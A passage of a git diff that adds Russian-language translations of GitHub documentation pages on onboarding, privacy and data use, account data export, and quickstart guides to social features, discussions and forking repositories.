{% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. + +For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)." + +{% ifversion fpt or ghec %} +### 2. Managing your dependencies +A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. + +For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)." +{% endif %} + +## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community + +{% data reusables.getting-started.participating-in-community %} + +### 1. Contributing to open source projects +{% data reusables.getting-started.open-source-projects %} + +### 2. Interacting with {% data variables.product.prodname_gcf %} +{% data reusables.support.ask-and-answer-forum %} + +### 3. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %} + +{% data reusables.docs.you-can-read-docs-for-your-product %} + +### 4. Learning with {% data variables.product.prodname_learning %} +{% data reusables.getting-started.learning %} + +{% ifversion fpt or ghec %} +### 5. Supporting the open source community +{% data reusables.getting-started.sponsors %} + +### 6. Contacting {% data variables.contact.github_support %} +{% data reusables.getting-started.contact-support %} + +{% ifversion fpt %} +## Further reading +- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)" +{% endif %} +{% endif %} diff --git a/translations/ru-RU/content/get-started/onboarding/index.md b/translations/ru-RU/content/get-started/onboarding/index.md new file mode 100644 index 000000000000..abde1e4e187c --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/index.md @@ -0,0 +1,22 @@ +--- +title: Переход +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /getting-started-with-your-github-account + - /getting-started-with-github-team + - /getting-started-with-github-enterprise-cloud + - /getting-started-with-github-enterprise-server + - /getting-started-with-github-ae +ms.openlocfilehash: 8abc8a5a5cafe4664194d409ce9ac616c720e485 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135647' +--- + diff --git a/translations/ru-RU/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md b/translations/ru-RU/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md new file mode 100644 index 000000000000..d4c04e7cdd10 --- /dev/null +++ b/translations/ru-RU/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md @@ -0,0 +1,46 @@ +--- +title: Сведения об использовании ваших данных в GitHub +redirect_from: + - /articles/about-github-s-use-of-your-data + - /articles/about-githubs-use-of-your-data + - /github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data +intro: '{% data variables.product.product_name %} использует данные репозитория для подключения к соответствующим средствам, пользователям, проектам и информации.' +versions: + fpt: '*' + ghec: '*' +topics: + - Policy + - Legal +shortTitle: GitHub's use of your data +ms.openlocfilehash: f49f90a981b92d2c7d5d34b0fac28ec05adbadd0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135644' +--- +## Сведения об использовании ваших данных в {% data variables.product.product_name %} + +{% data variables.product.product_name %} объединяет метаданные и анализирует шаблоны содержимого для предоставления обобщенных аналитических сведений в продукте. Он использует данные из общедоступных репозиториев, а также использует метаданные и агрегированные данные из частных репозиториев, когда владелец репозитория решил предоставить {% data variables.product.product_name %} общий доступ к данным, включив граф зависимостей. Если включить граф зависимостей для частного репозитория, {% data variables.product.product_name %} будет выполнять анализ только для чтения этого частного репозитория. + +Если вы включите использование данных для частного репозитория, мы будем продолжать рассматривать ваши частные данные, исходный код или торговые секреты как конфиденциальные и частные в соответствии с [нашими условиями предоставления услуг](/free-pro-team@latest/github/site-policy/github-terms-of-service). Источником информации, которую мы узнаем, являются только агрегированные данные. Дополнительные сведения см. в статье "[Управление параметрами использования данных для частного репозитория](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)". + +{% data reusables.repositories.about-github-archive-program %} Дополнительные сведения см. в статье "[Сведения о архивации содержимого и данных в {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)". + +{% data reusables.user-settings.export-data %} Дополнительные сведения см. в статье "[Запрос архива данных личной учетной записи](/articles/requesting-an-archive-of-your-personal-account-s-data)". + +Мы объявим о существенных новых функциях, использующих метаданные или агрегированные данные, в [блоге, посвященном {% data variables.product.prodname_dotcom %}](https://github.com/blog). + +## Как данные улучшают рекомендации по безопасности + +Пример использования ваших данных: мы можем обнаруживать уязвимости безопасности в зависимостях вашего общедоступного репозитория и оповещать вас о них. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)". + +Чтобы обнаружить потенциальные уязвимости системы безопасности, {% data variables.product.product_name %} сканирует содержимое файла манифеста зависимостей для получения списка зависимостей проекта. + +{% data variables.product.product_name %} также учится на изменениях, которые вы вносите в манифест зависимостей. Например, если вы обновляете уязвимую зависимость до безопасной версии после получения предупреждения о безопасности, и другие пользователи делают то же самое, {% data variables.product.product_name %} узнает, как исправить уязвимость и может порекомендовать аналогичное исправление для затронутых репозиториев. + +## Конфиденциальность и общий доступ к данным + +Данные частного репозитория проверяются компьютером и никогда не считываются сотрудниками {% data variables.product.product_name %}. Люди никогда не увидят содержимое ваших частных репозиториев, за исключением случаев, описанных в наших [условиях предоставления услуг](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access). + +Ваши персональные данные или данные репозитория не будут предоставляться третьим лицам. Мы можем делиться агрегированными данными, полученными в результате анализа, с нашими партнерами. diff --git a/translations/ru-RU/content/get-started/privacy-on-github/index.md b/translations/ru-RU/content/get-started/privacy-on-github/index.md new file mode 100644 index 000000000000..83503d552d4f --- /dev/null +++ b/translations/ru-RU/content/get-started/privacy-on-github/index.md @@ -0,0 +1,22 @@ +--- +title: Конфиденциальность в GitHub +redirect_from: + - /categories/understanding-how-github-uses-and-protects-your-data + - /github/understanding-how-github-uses-and-protects-your-data +versions: + fpt: '*' + ghec: '*' +children: + - /about-githubs-use-of-your-data + - /requesting-an-archive-of-your-personal-accounts-data + - /managing-data-use-settings-for-your-private-repository + - /opting-into-or-out-of-the-github-archive-program-for-your-public-repository +shortTitle: Privacy on GitHub +ms.openlocfilehash: e241add411d0da71308db998698a1be0e84d8d31 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135632' +--- + diff --git a/translations/ru-RU/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md b/translations/ru-RU/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md new file mode 100644 index 000000000000..3b257f4052cf --- /dev/null +++ b/translations/ru-RU/content/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository.md @@ -0,0 +1,49 @@ +--- +title: Managing data use settings for your private repository +intro: 'To help {% data variables.product.product_name %} connect you to relevant tools, people, projects, and information, you can configure data use for your private repository.' +redirect_from: + - /articles/opting-into-or-out-of-data-use-for-your-private-repository + - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-data-use-for-your-private-repository + - /github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository +versions: + fpt: '*' + ghec: '*' +topics: + - Policy + - Legal +shortTitle: Manage data use for private repo +--- + +## About data use for your private repository + + +You can control data use for your private repository with the security and analysis features. + +- Enable the dependency graph to allow read-only data analysis on your repository. +- Disable the dependency graph to block read-only data analysis of your repository. + +When you enable data use for your private repository, you'll be able to access the dependency graph, where you can track your repository's dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)." + + +{% note %} + +**Note:** If you disable the dependency graph, {% data variables.product.prodname_dependabot_alerts %} and {% data variables.product.prodname_dependabot_security_updates %} are also disabled. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + +{% endnote %} + +## Enabling or disabling data use through security and analysis features + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. Under "Code security and analysis", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %} + !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %} + !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %} + +## Further reading + +- "[About {% data variables.product.prodname_dotcom %}'s use of your data](/articles/about-github-s-use-of-your-data)" +- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" diff --git a/translations/ru-RU/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md b/translations/ru-RU/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md new file mode 100644 index 000000000000..47c2924a9dd2 --- /dev/null +++ b/translations/ru-RU/content/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md @@ -0,0 +1,30 @@ +--- +title: Согласие на участие в программе GitHub Archive Program или отказ от него для общедоступного репозитория +intro: 'Вы можете управлять тем, включает ли {% data variables.product.prodname_dotcom %} общедоступный репозиторий в {% data variables.product.prodname_archive %}, который поможет обеспечить долгосрочную работу с мировым программным обеспечением с открытым кодом.' +permissions: 'People with admin permissions to a public repository can opt into or out of the {% data variables.product.prodname_archive %}.' +redirect_from: + - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-the-github-archive-program-for-your-public-repository +versions: + fpt: '*' + ghec: '*' +topics: + - Policy + - Legal +shortTitle: GitHub Archive program +ms.openlocfilehash: 99c11ad07a88161f73b71cb0d7268f94afa8bc5e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135620' +--- +{% data reusables.repositories.about-github-archive-program %} Дополнительные сведения см. в статье "[Сведения о архивации содержимого и данных в {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)". + +Если вы отказываетесь от программы {% data variables.product.prodname_archive %} для репозитория, он будет исключен из всех долгосрочных архивов, которые {% data variables.product.prodname_dotcom %} может создать в будущем. Мы также отправим каждой из своих партнерских организаций запрос на удаление такого репозитория из ее данных. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Функции" установите или снимите флажок **Preserve this repository** (Сохранить этот репозиторий). + ![Флажок, позволяющий {% data variables.product.prodname_dotcom %} включить код в {% data variables.product.prodname_archive %}](/assets/images/help/repository/github-archive-program-checkbox.png) + +## Дополнительные материалы +- [Вопросы и ответы по {% data variables.product.prodname_archive %}](https://archiveprogram.github.com/faq/) diff --git a/translations/ru-RU/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md b/translations/ru-RU/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md new file mode 100644 index 000000000000..582e74e8399b --- /dev/null +++ b/translations/ru-RU/content/get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data.md @@ -0,0 +1,45 @@ +--- +title: Requesting an archive of your personal account’s data +redirect_from: + - /articles/requesting-an-archive-of-your-personal-account-s-data + - /articles/requesting-an-archive-of-your-personal-accounts-data + - /github/understanding-how-github-uses-and-protects-your-data/requesting-an-archive-of-your-personal-accounts-data +intro: '{% data reusables.user-settings.export-data %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Policy + - Legal +shortTitle: Request account archive +--- + +{% data variables.product.product_name %} stores repository and profile metadata from your personal account's activity. You can export your personal account's data through settings on {% data variables.product.prodname_dotcom_the_website %} or with the User Migration API. + +For more information about the data {% data variables.product.product_name %} stores that is available for exporting, see "[Download a user migration archive](/rest/reference/migrations#download-a-user-migration-archive)" and "[About {% data variables.product.product_name %}'s use of your data](/articles/about-github-s-use-of-your-data). + +When you request an export of your personal data through settings on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.product_name %} packages your personal data in a `tar.gz` file and sends you an email to your primary email address with a download link. + +By default, the download link expires after seven days. At any time before the download link expires, you can disable the link from your user settings. For more information, see "[Deleting access to an archive of your personal account's data](/articles/requesting-an-archive-of-your-personal-account-s-data/#deleting-access-to-an-archive-of-your-personal-accounts-data)." + +If your operating system cannot natively unpack the `tar.gz` file, you can use a third-party tool to extract the archived files. For more information, see "[How to unzip a tar.gz file](https://opensource.com/article/17/7/how-unzip-targz-file)" on Opensource.com. + +The generated `tar.gz` file reflects the data stored at the time you started the data export. + +## Downloading an archive of your personal account's data + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.account_settings %} +3. Under "Export account data", click **Start export** or **New export**. +![Start personal data export button highlighted](/assets/images/help/repository/export-personal-data.png) +![New personal data export button highlighted](/assets/images/help/repository/new-export.png) +4. Once the export is ready to download, {% data variables.product.product_name %} will send you a download link to your primary email address. +5. Click the download link in your email and re-enter your password if prompted. +6. You'll be redirected to a `tar.gz` file that you can download. + +## Deleting access to an archive of your personal account's data + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.account_settings %} +3. To disable the download link sent to your email before it expires, under "Export account data", find the data export download you want to disable and click **Delete**. +![Delete personal data export package button highlighted](/assets/images/help/repository/delete-export-personal-account-data.png) diff --git a/translations/ru-RU/content/get-started/quickstart/be-social.md b/translations/ru-RU/content/get-started/quickstart/be-social.md new file mode 100644 index 000000000000..092dd230d818 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/be-social.md @@ -0,0 +1,101 @@ +--- +title: Налаживание социальных связей +redirect_from: + - /be-social + - /articles/be-social + - /github/getting-started-with-github/be-social + - /github/getting-started-with-github/quickstart/be-social +intro: 'Вы можете взаимодействовать с пользователями, репозиториями и организациями в {% data variables.product.prodname_dotcom %}. Узнайте, над чем работают другие пользователи и с кем они связываются с помощью вашей личной панели мониторинга.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profile + - Pull requests + - Issues + - Notifications + - Accounts +ms.openlocfilehash: 8f57382a4eba028e9c83dda0c5780c240dc3860c +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147692116' +--- +Дополнительные сведения о доступе к личной панели мониторинга см. в разделе [Сведения о личной панели мониторинга](/articles/about-your-personal-dashboard). + +## Подписка на пользователей + +Если вы подписаны на пользователя на {% data variables.product.prodname_dotcom %}, вы будете получать уведомления на личной панели мониторинга о его общедоступной активности. Если тот, на кого вы подписаны, создает новый репозиторий, помечает репозиторий или подписывается на другого пользователя, это действие будет отображаться на панели мониторинга. + +Нажмите кнопку **Подписаться** на странице профиля пользователя, чтобы подписаться на него. + +![Кнопка подписки на пользователя](/assets/images/help/profile/follow-user-button.png) + +Дополнительные сведения см. разделе [Подписка на пользователей](/get-started/exploring-projects-on-github/following-people). + +## Просмотр репозитория + +Вы можете подписаться на репозиторий, чтобы просматривать его и получать уведомления о действиях в нем. Когда владелец обновляет репозиторий, вы видите изменения на личной панели мониторинга. Дополнительные сведения см. в разделе [Просмотр подписок](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions). + +Щелкните **Просмотр** в верхней части репозитория, чтобы просмотреть его. + +![Кнопка просмотра репозитория](/assets/images/help/repository/repo-actions-watch.png) + +## Присоединение к беседе + +{% data reusables.support.ask-and-answer-forum %} + +## Общение на {% data variables.product.product_name %} + +{% data variables.product.product_name %} предоставляет встроенные средства общения для совместной работы, чтобы вы могли взаимодействовать с сообществом при создании эффективного программного обеспечения. Например, вы можете внести свой вклад в проект другого пользователя, создав запрос на вытягивание, или использовать проблемы для отслеживания ошибок или предложения идей в репозитории. Вы также можете обсуждать с командой новые идеи. + +Общие сведения об этих средствах см. в разделе [Краткое руководство по обмену данными на {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github). + +## Участие в организациях + +Организации являются общими учетными записями, в которых компании и проекты с открытым кодом могут совместно работать одновременно над несколькими проектами. Владельцы и администраторы могут создавать команды с особыми разрешениями, использовать общедоступный профиль организации и отслеживать действия в организации. Дополнительные сведения см. в статье "[Сведения об организациях](/articles/about-organizations/)". + +На панели мониторинга щелкните раскрывающееся меню имени пользователя в левой части. Здесь вы можете просматривать организации, в которые входите, и легко переключаться между ними. + +![Раскрывающийся список переключения учетной записи](/assets/images/help/overview/dashboard-contextswitcher.png) + +{% ifversion for-you-feed %} + +## Подписка на организации + +{% data reusables.organizations.follow-organizations-beta %} + +{% data reusables.organizations.about-following-organizations %} + +Чтобы подписаться на организацию, в заголовке страницы организации нажмите кнопку **Подписаться**. + +![Снимок экрана: заголовок организации с выделенной кнопкой "Подписаться"](/assets/images/help/profile/organization-profile-following.png) + +Дополнительные сведения см. разделе [Подписка на организацию](/get-started/exploring-projects-on-github/following-organizations). + +{% endif %} + +## Изучение других проектов на {% data variables.product.prodname_dotcom %} + +Вы можете найти новые и интересные проекты на странице обзора на {% data variables.product.prodname_dotcom %}. Вы можете отмечать интересные проекты звездочкой, чтобы позже их было проще найти. Все отмеченные проекты можно просмотреть на специальной странице. Дополнительные сведения о звездочках см. в разделе [Сохранение репозиториев со звездочками](/get-started/exploring-projects-on-github/saving-repositories-with-stars). + +В канале панели мониторинга отображаются проекты на основе ваших интересов, включая репозитории, которые вы отметили звездочкой, пользователей, на которых вы подписались, и ваш вклад в общедоступные репозитории. На панели мониторинга можно просматривать популярные проекты, темы и коллекции. + +Чтобы узнать больше о проектах, посетите страницу {% data variables.explore.explore_github %}. + +## Дальнейшие действия +Теперь вы подключены к сообществу {% data variables.product.product_name %}. Существуют другие способы взаимодействия и сборки данных в {% data variables.product.product_name %}. + +* {% data reusables.getting-started.set-up-git %} + +* {% data reusables.getting-started.create-a-repository %} + +* {% data reusables.getting-started.fork-a-repository %} + +* {% data reusables.getting-started.contributing-to-projects %} + +* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/ru-RU/content/get-started/quickstart/communicating-on-github.md b/translations/ru-RU/content/get-started/quickstart/communicating-on-github.md new file mode 100644 index 000000000000..10097ad692e2 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/communicating-on-github.md @@ -0,0 +1,156 @@ +--- +title: Взаимодействие с GitHub +intro: 'Вы можете обсудить конкретные проекты и изменения, а также более общие идеи и цели команды, используя различные типы обсуждений в {% data variables.product.product_name %}.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github + - /articles/about-discussions-in-issues-and-pull-requests + - /github/collaborating-with-issues-and-pull-requests/about-conversations-on-github + - /github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github + - /github/getting-started-with-github/quickstart/communicating-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Discussions + - Fundamentals +ms.openlocfilehash: 18321069abd4fb48956f4d61653b8bbe592c648b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106792' +--- +## Введение + +{% data variables.product.product_name %} предоставляет встроенные средства общения для совместной работы, чтобы вы могли взаимодействовать с сообществом. В этом кратком руководстве показано, как выбрать подходящее средство для ваших потребностей. + +{% ifversion discussions %} Вы можете создавать проблемы, запросы на вытягивание, {% data variables.product.prodname_discussions %} и обсуждения в команде, а также участвовать в них, в зависимости от требуемого типа обсуждения. +{% else %} Вы можете создавать проблемы, запросы на вытягивание и обсуждения в команде, а также участвовать в них, в зависимости от требуемого типа обсуждения. +{% endif %} + +### {% data variables.product.prodname_github_issues %} +- удобны для обсуждения конкретных сведений о проекте, например для отчетов об ошибках, сведений о запланированных улучшениях и отзывов; +- относятся к конкретному репозиторию и обычно имеют конкретного владельца; +- часто называются системой отслеживания ошибок {% data variables.product.prodname_dotcom %}. + +### Запросы на вытягивание +- позволяют предлагать конкретные изменения; +- позволяют напрямую комментировать предложенные другими пользователями изменения; +- относятся к конкретному репозиторию. + +{% ifversion fpt or ghec %} +### {% data variables.product.prodname_discussions %} +- выполняют роль форума, который лучше всего подходит для обсуждения в свободной форме идей и планов, требующих общего участия; +- могут охватывать множество репозиториев; +- предоставляют возможность совместной работы без привязки к базе кода, например для мозгового штурма идей и наработки базы знаний сообщества; +- часто не имеют конкретного владельца; +- часто используются не для создания конкретной задачи. +{% endif %} + +### Обсуждения в команде +- могут создаваться на странице обсуждения в команде, и могут охватывать несколько проектов без привязки к определенной проблеме или запросу на вытягивание. Вместо того, чтобы открыть вопрос в репозитории для обсуждения идеи, вы можете привлечь к беседе всю команду, проведя обсуждение в команде. +- позволяют проводить с командой обсуждения для планирования, анализа, проектирования, изучения реакции пользователей и принятия решений общего характера по проекту; {% ifversion ghes or ghae %} +- обеспечивают совместную работу за пределами базы кода, позволяя проводить мозговой штурм идей; +- часто не имеют конкретного владельца; +- часто используются не для создания конкретной задачи.{% endif %} + +## Какие средства для обсуждений мне подходят? + +### Сценарии проблем + +- Я хочу отслеживать задачи, улучшения и ошибки. +- Я хочу отправить отчет об ошибке. +- Я хочу поделиться отзывами о конкретной функции. +- Я хочу задать вопрос о файлах в репозитории. + +#### Пример проблемы + +В этом примере показано, как пользователь {% data variables.product.prodname_dotcom %} создает проблему в нашем репозитории с открытым кодом для документации, чтобы сообщить об ошибке и обсудить исправление. + +![Пример проблемы](/assets/images/help/issues/issue-example.png) + +- Пользователь заметил, что синий цвет баннера в верхней части страницы в китайской версии документов {% data variables.product.prodname_dotcom %} делает текст баннера нечитаемым. +- Пользователь создал в репозитории проблему с описанием ситуации и предложил решение (использовать для баннера другой цвет фона). +- По этому решению проводится обсуждение и достигается консенсус. +- Затем участник может создать запрос на вытягивание с исправлением. + +### Сценарии для запросов на вытягивание + +- Я хочу исправить опечатку в репозитории. +- Я хочу внести изменения в репозиторий. +- Я хочу внести изменения, чтобы устранить проблему. +- Я хочу комментировать изменения, предложенные другими. + +#### Пример для запроса на вытягивание + +В этом примере показано, как пользователь {% data variables.product.prodname_dotcom %} создал запрос на вытягивание в нашем репозитории с открытым кодом для документации, чтобы исправить опечатку. + +На вкладке **Обсуждение** для запроса на вытягивание автор объясняет, почему он создал этот запрос на вытягивание. + +![Пример запроса на вытягивание — вкладка "Обсуждение"](/assets/images/help/pull_requests/pr-conversation-example.png) + +На вкладке **Измененные файлы** для на вытягивание отображается внесенное исправление. + +![Пример запроса на вытягивание — вкладка "Измененные файлы"](/assets/images/help/pull_requests/pr-files-changed-example.png) + +- Этот участник замечает опечатку в репозитории. +- Этот пользователь создает запрос на вытягивание с исправлением. +- Хранитель репозитория проверяет запрос на вытягивание, изучает комментарии к нему и объединяет его. + +{% ifversion discussions %} +### Сценарии для {% data variables.product.prodname_discussions %} + +- У меня есть вопрос, который не связан с конкретными файлами в репозитории. +- Я хочу делиться новостями с коллегами или командой. +- Я хочу начать открытую беседу или стать ее участником. +- Я хочу сделать объявление в сообществе. + +#### Пример {% data variables.product.prodname_discussions %} + +В этом примере показано создание приветственной записи в {% data variables.product.prodname_discussions %} для репозитория {% data variables.product.prodname_dotcom %} с открытым кодом для документации, и описаны предпочтительные методы общения в сообществе для команды. + +![Пример {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png) + +Этот хранитель сообщества начал обсуждение, чтобы приветствовать участников и предложить всем представиться. Такая запись способствует созданию комфортной атмосферы для посетителей и участников. В этом же сообщении объясняется, что команда будет рада помочь в создании вкладов в репозиторий. + +{% endif %} +### Сценарии для обсуждений в команде + +- У меня есть вопрос, который не связан с конкретными файлами в репозитории. +- Я хочу делиться новостями с коллегами или командой. +- Я хочу начать открытую беседу или стать ее участником. +- Я хочу сделать объявление для своей команды. + +{% ifversion fpt or ghec %} Как видите, обсуждения в команде очень похожи на {% data variables.product.prodname_discussions %}. Для {% data variables.product.prodname_dotcom_the_website %} рекомендуется использовать {% data variables.product.prodname_discussions %} в качестве начальной точки для бесед. Вы можете использовать {% data variables.product.prodname_discussions %} для совместной работы с любым сообществом в {% data variables.product.prodname_dotcom %}. Если вы являетесь членом организации и хотите инициировать обсуждение в рамках всей организации или отдельной ее команды, следует использовать обсуждения в команде. +{% endif %} + +#### Пример обсуждения в команде + +В этом примере показана запись в обсуждении для команды `octo-team`. + +![Пример обсуждения в команде](/assets/images/help/projects/team-discussions-example.png) + +Участник команды `octocat` опубликовал обсуждение в команде, чтобы проинформировать всех ее участников о нескольких вещах. +- Участник команды Mona начал события для удаленной игры. +- Есть запись блога с описанием того, как команды используют {% data variables.product.prodname_actions %} для создания своих документов. +- Материал о мероприятии April All Hands теперь доступен для просмотра всем участникам команды. + +## Дальнейшие действия + +На этих примерах вы узнали, как выбрать оптимальный инструмент для обсуждения в {% data variables.product.product_name %}. Но это только начало, ведь у вас есть много возможностей адаптировать эти средства под ваши потребности. + +Для проблем: можно присвоить проблемам метки для быстрого поиска или создать шаблоны проблем, чтобы помочь участникам открывать проблемы с подробным описанием. Дополнительные сведения см. в статьях [Сведения о проблемах](/github/managing-your-work-on-github/about-issues#working-with-issues) и [Сведения о шаблонах проблем и запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). + +Для запросов на вытягивание: можно создать черновик запросов на вытягивание, если работа над предлагаемыми изменениями может затянуться. Черновик запросов на вытягивание не может быть объединен, пока не будет помечен как готовый к проверке. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests). + +{% ifversion discussions %} Для {% data variables.product.prodname_discussions %}: можно{% ifversion fpt or ghec %} настроить кодекс поведения и{% endif %} закрепить обсуждения c важной информацией для сообщества. Дополнительные сведения см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions). +{% endif %} + +Для обсуждений в команде: можно редактировать или удалять обсуждения на странице команды, а также настраивать уведомления для обсуждений в команде. Дополнительные сведения см. в разделе [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions). + +Дополнительные сведения о функциях форматирования, которые помогут вам общаться, см. в разделе [Краткое руководство по написанию {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github). diff --git a/translations/ru-RU/content/get-started/quickstart/contributing-to-projects.md b/translations/ru-RU/content/get-started/quickstart/contributing-to-projects.md new file mode 100644 index 000000000000..a7250115965e --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/contributing-to-projects.md @@ -0,0 +1,200 @@ +--- +title: Contributing to projects +intro: Learn how to contribute to a project through forking. +permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Forks + - GitHub + - Open Source +--- + +## About forking + +After using GitHub by yourself for a while, you may find yourself wanting to contribute to someone else’s project. Or maybe you’d like to use someone’s project as the starting point for your own. This process is known as forking. + +Creating a "fork" is producing a personal copy of someone else's project. Forks act as a sort of bridge between the original repository and your personal copy. You can submit pull requests to help make other people's projects better by offering your changes up to the original project. Forking is at the core of social coding at GitHub. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)." + +## Forking a repository + +This tutorial uses [the Spoon-Knife project](https://github.com/octocat/Spoon-Knife), a test repository that's hosted on {% data variables.product.prodname_dotcom_the_website %} that lets you test the fork and pull request workflow. + +1. Navigate to the `Spoon-Knife` project at https://github.com/octocat/Spoon-Knife. +2. Click **Fork**. + ![Fork button](/assets/images/help/repository/fork_button.png){% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +3. Select an owner for the forked repository. + ![Create a new fork page with owner dropdown emphasized](/assets/images/help/repository/fork-choose-owner.png) +4. By default, forks are named the same as their parent repositories. You can change the name of the fork to distinguish it further. + ![Create a new fork page with repository name field emphasized](/assets/images/help/repository/fork-choose-repo-name.png) +5. Optionally, add a description of your fork. + ![Create a new fork page with description field emphasized](/assets/images/help/repository/fork-description.png) +6. Choose whether to copy only the default branch or all branches to the new fork. For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. By default, only the default branch is copied. + ![Option to copy only the default branch](/assets/images/help/repository/copy-default-branch-only.png) +7. Click **Create fork**. + ![Emphasized create fork button](/assets/images/help/repository/fork-create-button.png) + +{% note %} + +**Note:** If you want to copy additional branches from the parent repository, you can do so from the **Branches** page. For more information, see 